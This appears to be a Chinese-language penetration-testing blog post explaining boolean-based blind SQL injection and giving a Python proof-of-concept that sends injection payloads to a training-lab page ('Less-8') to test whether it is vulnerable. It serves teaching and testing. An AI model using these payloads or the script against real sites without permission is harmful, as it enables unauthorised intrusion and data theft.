滲透測試之POC基於布林的sql盲注
阿新 • • 發佈:2019-02-05
基於布林的盲注一般只能告訴我們true or fasle。
就比如你只能向系統提問,但是系統只能回答你是或者不是。
一般套路是先問資料庫名字有多長,1,2,3,4直到回答出是,然後獲取到資料庫名字長度,然後資料庫第一個字元是不是a,b,c,d....直到回答是,獲取第一個字元,然後按照這個套路獲取到第二個第三個字元最後獲取到資料庫名稱,然後再問表,欄位。。
還有另一個套路直接字典的,不過這個對字典的要求就高了。
轉過來說說我們的poc
先看看我們的測試環境:
當id存在時就會顯示 you are in..... 當id不存在時就會顯示為空
那麼這個時候可以用 or 1=1 and 1=2的方式去驗證
id 為任意,or 1=1 則會顯示全部
id為任意,and 1=1 則會顯示為空
所以可以通過判斷關鍵字 you are in 是否存在 從而判斷是否存在sql注入
下面開始用python寫無框架的poc
測試效果#coding:utf-8 import requests import sys import re def verify(url): target = url + "/Less-8/" playload1 = target + "?id=1' and 1=2 %23" playload2 = target + "?id=1' or 1=1 %23" try: flag1 = False flag2 = False #傳送playload1 req1 = requests.get(playload1) response1 = req1.text #print response1 if response1: #查詢關鍵字 You are in if not re.search('You are in',response1): flag1 = True req2 = requests.get(playload2) response2 = req2.text #print response2 if response2: #查詢關鍵字 You are in if re.search('You are in',response2): flag2 = True print flag1,flag2 if flag1 == flag2 and flag1 is True: print "%s is vulnerable" %playload2 else: print "%s is not vulnerable" %playload2 except Exception,e: print "Something happend...." print e def main(): args = sys.argv url = "" if len(args) == 2: url = args[1] #print url verify(url) else: print "Usage:python %s url"%(args[0]) if __name__ == '__main__': main()